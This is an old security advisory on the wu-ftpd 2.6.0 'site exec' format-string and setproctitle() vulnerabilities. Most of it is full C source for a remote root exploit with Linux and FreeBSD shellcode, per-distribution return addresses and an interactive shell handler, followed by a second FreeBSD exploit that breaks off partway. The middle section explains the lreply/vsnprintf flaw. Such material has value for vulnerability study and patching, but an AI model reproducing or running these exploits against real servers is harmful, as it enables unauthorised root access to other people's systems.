COMMAND
wuftpd
SYSTEMS AFFECTED
Wuftpd 6.0
PROBLEM
A vulnerability involving an input validation error in the "site
exec" command has recently been identified in the Washington
University ftpd (wu-ftpd) software package. Sites running
affected systems are advised to update their wu-ftpd software as
soon as possible. A similar but distinct vulnerability has also
been identified that involves a missing format string in several
setproctitle() calls. It affects a broader number of ftp daemons.
Please see Appendix A of this document for specific information
about the status of specific ftpd implementations and solutions.
"Site exec" Vulnerability
=========================
A vulnerability has been identified in wu-ftpd and other ftp
daemons based on the wu-ftpd source code. Wu-ftpd is a common
package used to provide file transfer protocol (ftp) services.
This vulnerability is being discussed as the wu-ftpd "site exec"
or "lreply" vulnerability in various public forums.
The wu-ftpd "site exec" vulnerability is the result of missing
character-formatting argument in several function calls that
implement the "site exec" command functionality. Normally if
"site exec" is enabled, a user logged into an ftp server
(including the 'ftp' or 'anonymous' user) may execute a
restricted subset of quoted commands on the server itself.
However, if a malicious user can pass character format strings
consisting of carefully constructed *printf() conversion
characters (%f, %p, %n, etc) while executing a "site exec"
command, the ftp daemon may be tricked into executing arbitrary
code as root.
The "site exec" vulnerability appears to have been in the wu-ftpd
code since the original wu-ftpd 2.0 came out in 1993. Any
vendors who have based their own ftpd distributions on this
vulnerable code are also likely to be vulnerable. The
vulnerability appears to be exploitable if a local user account
can be used for ftp login. Also, if the "site exec" command
functionality is enabled, then anonymous ftp login allows
sufficient access for an attack.
setproctitle() Vulnerability
============================
A separate vulnerability involving a missing character-formatting
argument in setproctitle(), a call which sets the string used to
display process identifier information, is also present in
wu-ftpd. Other ftpd implementations have been found to have
vulnerable setproctitle() calls as well, including those from
proftpd and OpenBSD.
The setproctitle() vulnerability appears to have been present in
various ftpd implementations since at least BSD ftpd 5.51 (which
predates wuarchive-ftpd 1.0). It has also been confirmed to be
present in BSD ftpd 5.60 (the final BSD release). Any vendors who
have based their own ftpd distributions on this vulnerable code
are also likely to be vulnerable.
It should be noted that many operating systems do not support
setproctitle() calls. However, other software engineering defects
involving the same type of missing character-formatting argument
may be present.
tf8 posted following. It's another site exec problem that will
give altered permissions... BTW, exploit is broken to avoid kids
usage.
/*
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
* by tf8
*
* *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be
* released (2.6.0 is the most popular version nowadays), and it
* should suffice to proof this vulnerability concept.
*
* Site exec was never really *fixed*
*
* Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
* \x90, venglin, xz, MYT and lamagra.
* Also greetings go to the WU-FTPD development team for including this
* bug in ALL their versions.
*
* Fuck to wuuru (he is an idiot)
*
* Account is not required, anonymous access is enough :)
*
* VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#ifdef __linux
#include <getopt.h>
#endif
#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"
char infin_loop[]= /* for testing purposes */
"\xEB\xFE";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
"\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
"\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
"\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
"\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
"\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
"\x67\x6c\x69\x6e";
char bsd_code_d[]= /* you should call it directly (no jump/call)*/
"\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
#define MAX_FAILED 4
#define MAX_MAGIC 100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;
struct targets {
int def;
char *os_descr, *shellcode;
int delay;
u_long pass_addr, addr_ret_addr;
int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};
struct targets targ[]={
{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
{1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
{2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
{3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
{4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
{5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
{6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
{7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
{8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
{0,NULL,NULL,0,0,0,{0},{0},0}
};
void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target : host with any wuftpd\nuser : anonymous user\n"
"dir : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g : enables magic string digging\n"
"-x : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr : this is pointer to shellcode\nsystypes: \n",zu);
for(i=0;targ[i].os_descr!=NULL;i++){
padding=0;
fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
if(q>1){
fprintf(stderr," Magic ID: [");
for(n=0;targ[i].magic[n]!=0;n++){
if(targ[i].magic_d[n]==4)
padding=targ[i].magic[n];
fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
if(targ[i].magic[n+1]!=0)
fprintf(stderr,":");
}
fprintf(stderr,"] Padding: %d\n",padding);
fflush(stderr);
}
}
exit(1);
}
int connect_to_server(char*host){
struct hostent *hp;
struct sockaddr_in cl;
int sock;
if(host==NULL||*host==(char)0){
fprintf(stderr,"Invalid hostname\n");
exit(1);
}
if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
if((hp=gethostbyname(host))==NULL) {
fprintf(stderr,"Cannot resolve %s\n",host);
exit(1);
}
memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
}
if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
exit(1);
}
cl.sin_family=PF_INET;
cl.sin_port=htons(21);
if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
exit(1);
}
return sock;
}
int ftp_recv(int sock,char*buf,int buf_size,int disc){
int n=0;
char q;
if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
else {
(void)bzero(buf,buf_size);
n=recv(sock,buf,buf_size,0);
if(n<0){
fprintf(stderr,"ftp_recv: recv failed\n");
exit(1);
}
buf[n]=0;
}
return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
int n;
n=send(sock,what,size,0);
if(n!=size){
fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
shutdown(sock,2);
close(sock);
exit(1);
}
if(f)
return ftp_recv(sock,ans,ans_size,0);
return 0;
}
int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
ftp_send(sock,buff,buff_len,q,ans,ans_len);
if(strncmp(ans,"200-",4)==0)
ftp_recv(sock,NULL,0,1);
else
ftp_recv(sock,ans,ans_len,0);
if(strncmp(ans,"200-",4)){
fprintf(stderr,"Cannot find site exec response string\n");
exit(1);
}
return 0;
}
void ftp_login(int sock,char*u_name,char*u_pass)
{
char buff[2048];
printf("loggin into system..\n");
snprintf(buff,2047,"USER %s\r\n", u_name);
ftp_send(sock, buff,strlen(buff),1,buff,2047);
printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
snprintf(buff,2047,"PASS %s\r\n",u_pass);
printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
while(strstr(buff,"230 ")==NULL){
(void)bzero(buff,2048);
ftp_recv(sock,buff,2048,0);
}
printf("%s",buff);
return;
}
void ftp_mkchdir(int sock,char*cd,char*new)
{
char buff[2048];
sprintf(buff,"CWD %s\r\n",cd);
printf(GREEN"%s"NORM,buff);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf("%s",buff);
sprintf(buff,"MKD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
sprintf(buff,"CWD %s\r\n",new);
ftp_send(sock,buff,strlen(buff),1,buff,2047);
printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
return;
}
void process_possibly_rooted(int sock)
{
fd_set fd_read;
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection aborted, select failed()\n");
exit(0);
}
int magic_check_f(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
if( before_len+10 < strlen(&ans[3]) ) return 0;
before_len=strlen(&ans[3]);
(void)strcat(str,"%.f");
return 1;
}
int magic_check_o(int sock, char *str) {
char q[2048], ans[2048];
snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
if( strstr( q, "\r\n") == NULL) {
fprintf(stderr,"Line TOO big..\n");
exit(-1);
}
ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
if( before_len== strlen(&ans[3]) ) {
before_len+=1;
(void)strcat(str, "%d");
return 3;
}
before_len=strlen(&ans[3]);
(void)strcat(str,"%c");
return 2;
}
int magic_check_ok( int sock, char *str)
{
char q[2048], ans[2048];
int i ,n=1, f, padding=0;
snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
if ( strstr(q, "\r\n" ) == NULL) {
fprintf(stderr, "Line too long\n");
exit(-1);
}
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if(strstr(ans,"0x61616161")==NULL)
return 0;
for(i =0; i < MAX_MAGIC && magic[i]; i++);
magic_d[i]=4;
while(n){
for(f=0; f< 2; f++) {
snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
(void)bzero(ans, 2048);
ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
if( strstr(ans, "0x61616161")!=NULL) {
if (f==0) {
magic[i]=padding;
return 1;
} else if( f==1) {
strcat(str,"%p");
magic[i]=padding;
return 1;
}
}
}
if(padding > 4) {
fprintf(stderr,"Cannot calculate padding..\n");
exit(1);
}
padding++;
}
return 1;
}
int magic_digger(int sock)
{
int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
if(magic_str==NULL){
if((magic_str=(char*)malloc(4092))==NULL){
perror("malloc");
exit(errno);
}
}
(void)bzero(magic_str, 4092);
where=0;
while(get_out) {
int q;
if( where >= MAX_MAGIC-1 || all_failed <= 0 )
return -1;
if( magic_check_f(sock, magic_str) ) {
o=0,f++;
if(f==1){
if(!magic[where])
magic[where]=1;
else
magic[++where]+=1;
magic_d[where]=1;
} else
magic[where]+=1;
all_failed=MAX_FAILED*2;
printf("%s", "%.f"); fflush(stdout);
goto verify;
}
all_failed--;
if((q=magic_check_o(sock,magic_str))){
f=0,o++;
if(o==1){
if(!magic[where])
magic[0]=1;
else
magic[++where]+=1;
magic_d[where]=q;
} else {
if(magic_d[where]==q)
magic[where]+=1;
else {
magic[++where]=1;
magic_d[where]=q;
}
}
all_failed=MAX_FAILED*2;
printf("%s", q==2?"%c":"%d");
fflush(stdout);
goto verify;
}
all_failed--;
continue;
verify:
if(magic_check_ok(sock,magic_str)){
putchar('\n');
return 0;
}
}
return 0;
}
int main(int argc, char *argv[]){
char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
u_long ret_addr=0, pass_addr=0;
for(i=0;targ[i].os_descr!=NULL;i++);
while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
switch(c) {
case 't': target=optarg;break;
case 'l':
username=optarg;
passwd=strchr(optarg,'/');
if(passwd==NULL)
usage(argv[0],0);
*passwd++=(char)0;
break;
case 'x': testmode=1; break;
case 'o': offset=atoi(optarg);break;
case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
case 'g': gm=1; break;
case 'M': dir=optarg;mtype=1;break;
case 'm':
{
int where=0;
if(!*optarg) {
fprintf(stderr,"-m requires argument, try -h for help\n");
exit(1);
}
while(1) {
magic[where]=strtoul(optarg,&optarg,16);
optarg=strchr(optarg,',');
if(optarg==NULL){
printf("comma missing\n");
exit(1);
}
optarg++;
magic_d[where++]=strtoul(optarg,&optarg,16);
if(strchr(optarg,':')==NULL){
magic[where]=magic_d[where]=0;
break;
}
optarg=strchr(optarg,':');
optarg++;
}
}
break;
case 's':
num=atoi(optarg);
if(num>i) {
fprintf(stderr,"systype too big, try -h for help\n");
exit(1);
}
break;
case 'r':
ret_addr=strtoul(optarg,&optarg,16);
break;
case 'P':
padding=atoi(optarg);
break;
case 'H':
bla=2;
default: usage(argv[0],bla);break;
}
}
if(target==NULL){
fprintf(stderr,"No target specified, try -h for help\n");
exit(1);
}
if(num==-1||num==-2) {
for(i=0;!targ[i].def;i++);
num=i;
}
(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
if(magic[1]!=0) {
memcpy((void*)getit.magic,magic,sizeof(magic));
memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
}
if(ret_addr)getit.addr_ret_addr=ret_addr;
if(pass_addr)getit.pass_addr=pass_addr;
getit.addr_ret_addr+=(offset*4);
sock=connect_to_server(target);
memset(shellcode, '\x90', sizeof(shellcode));
shellcode[sizeof(shellcode)-1]=(char)0;
if(!mtype){
memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
shellcode[sizeof(shellcode)-1]=(char)0;
}else{
memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0;
}
printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
buff=(char *)malloc(1024);
bzero(buff,1024);
(void)ftp_recv(sock,NULL,0,1);
(void)ftp_login(sock,username,passwd);
if(gm||(magic_str==NULL&&getit.magic[0]==0)){
printf("STEP 2A: Generating magic string: ");
fflush(stdout);
magic_digger(sock);
memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
printf("STEP 2B: MAGIC STRING: [");
} else {
printf("STEP 2 : Skipping, magic number already exists: [");
}
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
if(getit.magic[i+1]!=0)
putchar(':');
}
printf("]\n");
buff=(char *)realloc(buff, 4092);
(void)bzero(buff, 4092);
if(mtype)
ftp_mkchdir(sock,dir,shellcode);
printf("STEP 3 : Checking if we can reach our return address by format string\n");
if(!magic_str){
magic_str=(char*)malloc(2048);
if(magic_str==NULL) {
perror("malloc");
exit(errno);
}
(void)bzero(magic_str,2048);
for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
switch(getit.magic_d[i]) {
case 1:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
break;
case 2:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
break;
case 3:
for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
break;
case 4:if(padding<0)padding=getit.magic[i];break;
default:fprintf(stderr,"STEP 3: INternal error\n");
exit(1);
break;
}
}
}
if(padding<0){
for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
if(num<(MAX_MAGIC-1))
padding=getit.magic[num];
else
fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
}
if(!getit.islinux){
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
} else {
if(!testmode)
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p");
else
snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p");
}
sleep(getit.delay);
fflush(stdout);
if((buff_p=(char *)malloc(4096))==NULL){
fprintf(stderr,"malloc failed.\n");
exit(1);
}
(void)bzero(buff_p,4096);
ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
if((buff_p2=strchr(buff_p,'\r'))!=NULL)
*buff_p2=(char)0;
if((buff_p2=strchr(buff_p,'\n'))!=NULL)
*buff_p2=(char)0;
buff_p2=strstr(buff_p,"|0x");
if(buff_p2==NULL){
fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
exit(1);
}
buff_p2+=3;
if(!testmode)
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
else
printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
sleep(getit.delay);
buff_p2=strstr(buff, "%.f");
*buff_p2++=(char )0;
strcpy(buff_p, buff);
if(!testmode)
sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
else
sprintf(buff_p+strlen(buff_p),"%s","%d%d");
strcpy(buff_p+strlen(buff_p), buff_p2);
buff_p2=strchr(buff_p,'|');
buff_p2++;
printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
if(!testmode){
strcpy(buff_p2,"%n\r\n");
ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
} else {
(void)bzero(buff,4096);
strcpy(buff_p2,"%s\r\n");
ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
printf("got answer: %s\n",buff);
exit(0);
}
free(buff_p);
free(buff);
signal(SIGINT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
printf(RED"Press ^\\ to leave shell"NORM"\n");
process_possibly_rooted(sock);
return 0;
}
Lamagra Argamal added brought to you the story behind it. The
story begins inside the ftpcmd.y file. Which has the ftp commands
in it. The bug is in the site_exec(char *cmd) function. There
is calls lreply(200,cmd); In ftpd.c we find
void lreply(int n, char *fmt,...)
....
vreply(USE_REPLY_LONG, n, fmt, ap)
...
and
void vreply(long flags, int n, char *fmt, va_list ap)
...
vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap)
....
cmd becomes fmt with vsnprintf that's bad. The idea is to put in
formatstrings to get some extra priviledges. We can use %n to
overwrite some stuff. eg. overwrite a ret-address or a null at
the end of a buffer (cause an overflow) or change the
configuration or uid like I did in my proftp exploit (check
proftp_pcc.c on Packetstorm).
There are some other bugs in site_exec like
for (t = cmd; *t && !isspace(*t); t++) {
if (isupper(*t)) {
*t = tolower(*t);
}
}
Sanitizing stops at a space?? Wuftpd is all really buggy code.
Lamagra did some checking and found some minor bugs there too.
First in modules/mod_pam.c
/* Allocate our entries...we don't free this because PAM does this for us.
*/
pam_user = malloc(strlen(cmd->argv[0]) + 1);
if(pam_user == (char *)0)
return pam_return_type ? ERROR(cmd) : DECLINED(cmd);
sstrncpy(pam_user, cmd->argv[0], strlen(cmd->argv[0]) + 1);
pam_pass = malloc(strlen(cmd->argv[1]) + 1);
Pam doesn't free these according to me. So this could lead to a
pottential system DoS if abused. Fortunatly proftpd has a limit
of 3 on USER/PASS.
Second, in the set_proc_title(char *fmt,...) function in main.c
It constructs a buffer with hostname + user + cmd to replace
argv[0]. If setproctitle(char *fmt,...) is available (only on
debian and bsd). It calls setproctitle(statsbuf); what re-opens
the old bug Not a big thing since almost nobody has it.
According to Eric Hines it has come to his discovery that some
systems at MIT are for example vulnerable to the vulnerability,
and some aren't.. (All) with the same default RH 6.2
installations. The problem occurs when you attempt to execute
the exploit on a remote machine and are left with a telnet
session to PORT 21 of the vulnerable system, stuck to your
typical HELP commands. This is because the exploit is attempting
to utilize the WRONG [stack retr addr] of the vulnerable ftp
daemon. The reason being it is not overflowing the stack,
leaving you with this telnet session.
Below is another exploit for FreeBSD only:
/*
* WU-hooooooooo ! ;)
* remote root exploit for FreeBSD Wu-ftpd 2.6.0 !
* Written by glitch of AdG.
* Shellcode by Myt of AdG
* This is mega private !
* for Action Direct Group members only !
* Don't distribute !
*
* Greetings to tf8, adm.
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
/*
* Warning ! You may increase DELAY value
* for slow connections !
*
*/
#define DELAY 5
char bsd_shellcode[] =
"\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
"\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
"\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
"\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
"\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
"\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
"\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
"\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
"\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";
struct sys_type
{
char *sysname;
int penum;
int penum2;
int penum3;
int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */
char *shellcode;
};
struct sys_type target[] =
{
{"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS",47,37,52,355,bsd_shellcode},
{"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS",46,36,51,354,bsd_shellcode},
/*
{"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS",32,48,44,355,bsd_shellcode},
*/
{NULL,0,0,0,0,NULL}
};
int sock; /* Socket Descriptor */
int sysnumber = 0;
char tosend[1024]; /* send buffer */
char torecv[4096]; /* receive buffer */
int max(int,int);
char *scan_ptrretaddr(int,int);
char *scan_retaddr(int);
void receive(void);
void ftp_login(char *,char *);
void store_value(int,int,int);
void shell(void);
void site_exec(char *);
void usage(char *);
int main (argc,argv)
int argc;
char *argv[];
{
int port = 21;
int main_index = 0;
char *ptrretaddr;
char *retaddr;
struct sockaddr_in sin;
struct hostent *host;
while(target[sysnumber].sysname != NULL)
sysnumber++;
if (argc < 3)
usage(argv[0]);
main_index = atoi(argv[2]);
if (main_index < 0 || main_index > sysnumber-1)
{
printf("Wrong system identifier!\n");
usage(argv[0]);
}
printf ("Exploiting: %s\n",target[main_index].sysname);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)
{
perror("Socket error");
exit(-1);
}
if(argv[3])
port=atoi(argv[3]);
bzero((char*)&sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
host=gethostbyname(argv[1]);
if (host == 0)
{
printf("Cannot resolve %s\n",argv[1]);
exit(-1);
}
